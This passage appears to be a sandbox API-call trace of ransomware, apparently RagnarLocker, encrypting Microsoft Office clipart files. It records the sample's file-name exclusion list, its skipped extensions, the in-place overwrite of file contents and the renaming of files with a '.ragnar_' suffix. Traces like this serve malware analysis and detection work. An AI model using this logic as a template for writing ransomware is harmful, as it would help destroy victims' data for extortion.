(lpString1="J0212685.WMF", lpString2="bootmgr.efi") returned 1 [0086.063] lstrcmpiW (lpString1="J0212685.WMF", lpString2="bootmgfw.efi") returned 1 [0086.063] lstrcmpiW (lpString1="J0212685.WMF", lpString2="desktop.ini") returned 1 [0086.063] lstrcmpiW (lpString1="J0212685.WMF", lpString2="iconcache.db") returned 1 [0086.063] lstrcmpiW (lpString1="J0212685.WMF", lpString2="ntldr") returned -1 [0086.063] lstrcmpiW (lpString1="J0212685.WMF", lpString2="ntuser.dat") returned -1 [0086.063] lstrcmpiW (lpString1="J0212685.WMF", lpString2="ntuser.dat.log") returned -1 [0086.063] lstrcmpiW (lpString1="J0212685.WMF", lpString2="ntuser.ini") returned -1 [0086.063] lstrcmpiW (lpString1="J0212685.WMF", lpString2="thumbs.db") returned -1 [0086.063] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.063] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.063] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.063] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.063] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.063] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.063] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf")) returned 0x20 [0086.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.064] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6554) returned 1 [0086.064] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1991, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.064] GetProcessHeap () returned 0x580000 [0086.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.064] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.065] VirtualAlloc (lpAddress=0x0, dwSize=0x199a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.065] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.065] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.066] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x199a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x199a, lpOverlapped=0x0) returned 1 [0086.066] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.066] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x199a, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.066] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x199a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x199a, lpOverlapped=0x0) returned 1 [0086.067] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x199a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.067] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.067] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x199a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.067] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.067] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.067] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.067] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.067] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.067] GetProcessHeap () returned 0x580000 [0086.067] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.067] CloseHandle (hObject=0xf4) returned 1 [0086.067] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" [0086.067] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.ragnar_FD7BD9FC" [0086.068] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.068] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212751.WMF", cAlternateFileName="")) returned 1 [0086.068] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.068] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0212751.WMF" | out: lpString1="J0212751.WMF") returned="J0212751.WMF" [0086.068] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF") returned=".WMF" [0086.068] lstrcmpiW (lpString1="J0212751.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.068] lstrcmpiW (lpString1="J0212751.WMF", lpString2="autorun.inf") returned 1 [0086.068] lstrcmpiW (lpString1="J0212751.WMF", lpString2="boot.ini") returned 1 [0086.068] lstrcmpiW (lpString1="J0212751.WMF", lpString2="bootfont.bin") returned 1 [0086.068] lstrcmpiW (lpString1="J0212751.WMF", lpString2="bootsect.bak") returned 1 [0086.068] lstrcmpiW (lpString1="J0212751.WMF", lpString2="bootmgr") returned 1 [0086.068] lstrcmpiW (lpString1="J0212751.WMF", lpString2="bootmgr.efi") returned 1 [0086.068] lstrcmpiW (lpString1="J0212751.WMF", lpString2="bootmgfw.efi") returned 1 [0086.068] lstrcmpiW (lpString1="J0212751.WMF", lpString2="desktop.ini") returned 1 [0086.068] lstrcmpiW (lpString1="J0212751.WMF", lpString2="iconcache.db") returned 1 [0086.068] lstrcmpiW (lpString1="J0212751.WMF", lpString2="ntldr") returned -1 [0086.068] lstrcmpiW (lpString1="J0212751.WMF", lpString2="ntuser.dat") returned -1 [0086.069] lstrcmpiW (lpString1="J0212751.WMF", lpString2="ntuser.dat.log") returned -1 [0086.069] lstrcmpiW (lpString1="J0212751.WMF", lpString2="ntuser.ini") returned -1 [0086.069] lstrcmpiW (lpString1="J0212751.WMF", lpString2="thumbs.db") returned -1 [0086.069] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.069] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.069] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.069] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.069] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.069] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.069] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf")) returned 0x20 [0086.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.070] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2060) returned 1 [0086.070] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x803, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.070] GetProcessHeap () returned 0x580000 [0086.070] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.070] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.071] VirtualAlloc (lpAddress=0x0, dwSize=0x80c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.072] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.072] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.072] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x80c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x80c, lpOverlapped=0x0) returned 1 [0086.072] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.072] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x80c, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.072] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x80c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x80c, lpOverlapped=0x0) returned 1 [0086.072] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x80c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.072] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.072] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x80c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.072] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.072] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.072] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.072] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.073] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.073] GetProcessHeap () returned 0x580000 [0086.073] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.073] CloseHandle (hObject=0xf4) returned 1 [0086.073] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" [0086.073] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.ragnar_FD7BD9FC" [0086.073] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.073] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212953.WMF", cAlternateFileName="")) returned 1 [0086.074] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.074] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0212953.WMF" | out: lpString1="J0212953.WMF") returned="J0212953.WMF" [0086.074] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF") returned=".WMF" [0086.074] lstrcmpiW (lpString1="J0212953.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.074] lstrcmpiW (lpString1="J0212953.WMF", lpString2="autorun.inf") returned 1 [0086.074] lstrcmpiW (lpString1="J0212953.WMF", lpString2="boot.ini") returned 1 [0086.074] lstrcmpiW (lpString1="J0212953.WMF", lpString2="bootfont.bin") returned 1 [0086.074] lstrcmpiW (lpString1="J0212953.WMF", lpString2="bootsect.bak") returned 1 [0086.074] lstrcmpiW (lpString1="J0212953.WMF", lpString2="bootmgr") returned 1 [0086.074] lstrcmpiW (lpString1="J0212953.WMF", lpString2="bootmgr.efi") returned 1 [0086.074] lstrcmpiW (lpString1="J0212953.WMF", lpString2="bootmgfw.efi") returned 1 [0086.074] lstrcmpiW (lpString1="J0212953.WMF", lpString2="desktop.ini") returned 1 [0086.074] lstrcmpiW (lpString1="J0212953.WMF", lpString2="iconcache.db") returned 1 [0086.074] lstrcmpiW (lpString1="J0212953.WMF", lpString2="ntldr") returned -1 [0086.074] lstrcmpiW (lpString1="J0212953.WMF", lpString2="ntuser.dat") returned -1 [0086.074] lstrcmpiW (lpString1="J0212953.WMF", lpString2="ntuser.dat.log") returned -1 [0086.074] lstrcmpiW (lpString1="J0212953.WMF", lpString2="ntuser.ini") returned -1 [0086.074] lstrcmpiW (lpString1="J0212953.WMF", lpString2="thumbs.db") returned -1 [0086.074] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.074] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.074] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.074] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.074] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.074] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.074] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf")) returned 0x20 [0086.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.075] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7498) returned 1 [0086.075] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d41, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.075] GetProcessHeap () returned 0x580000 [0086.075] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.075] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.076] VirtualAlloc (lpAddress=0x0, dwSize=0x1d4a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.076] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.076] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.077] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1d4a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1d4a, lpOverlapped=0x0) returned 1 [0086.077] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.077] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d4a, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.077] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1d4a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1d4a, lpOverlapped=0x0) returned 1 [0086.078] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d4a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.078] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.078] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.078] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.078] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.078] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.078] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.078] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.078] GetProcessHeap () returned 0x580000 [0086.078] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.078] CloseHandle (hObject=0xf4) returned 1 [0086.078] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" [0086.078] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.ragnar_FD7BD9FC" [0086.078] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.079] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0213243.WMF", cAlternateFileName="")) returned 1 [0086.079] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.079] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0213243.WMF" | out: lpString1="J0213243.WMF") returned="J0213243.WMF" [0086.079] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF") returned=".WMF" [0086.079] lstrcmpiW (lpString1="J0213243.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.079] lstrcmpiW (lpString1="J0213243.WMF", lpString2="autorun.inf") returned 1 [0086.079] lstrcmpiW (lpString1="J0213243.WMF", lpString2="boot.ini") returned 1 [0086.079] lstrcmpiW (lpString1="J0213243.WMF", lpString2="bootfont.bin") returned 1 [0086.079] lstrcmpiW (lpString1="J0213243.WMF", lpString2="bootsect.bak") returned 1 [0086.079] lstrcmpiW (lpString1="J0213243.WMF", lpString2="bootmgr") returned 1 [0086.079] lstrcmpiW (lpString1="J0213243.WMF", lpString2="bootmgr.efi") returned 1 [0086.079] lstrcmpiW (lpString1="J0213243.WMF", lpString2="bootmgfw.efi") returned 1 [0086.079] lstrcmpiW (lpString1="J0213243.WMF", lpString2="desktop.ini") returned 1 [0086.079] lstrcmpiW (lpString1="J0213243.WMF", lpString2="iconcache.db") returned 1 [0086.079] lstrcmpiW (lpString1="J0213243.WMF", lpString2="ntldr") returned -1 [0086.079] lstrcmpiW (lpString1="J0213243.WMF", lpString2="ntuser.dat") returned -1 [0086.079] lstrcmpiW (lpString1="J0213243.WMF", lpString2="ntuser.dat.log") returned -1 [0086.079] lstrcmpiW (lpString1="J0213243.WMF", lpString2="ntuser.ini") returned -1 [0086.079] lstrcmpiW (lpString1="J0213243.WMF", lpString2="thumbs.db") returned -1 [0086.079] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.079] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.079] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.079] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.080] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 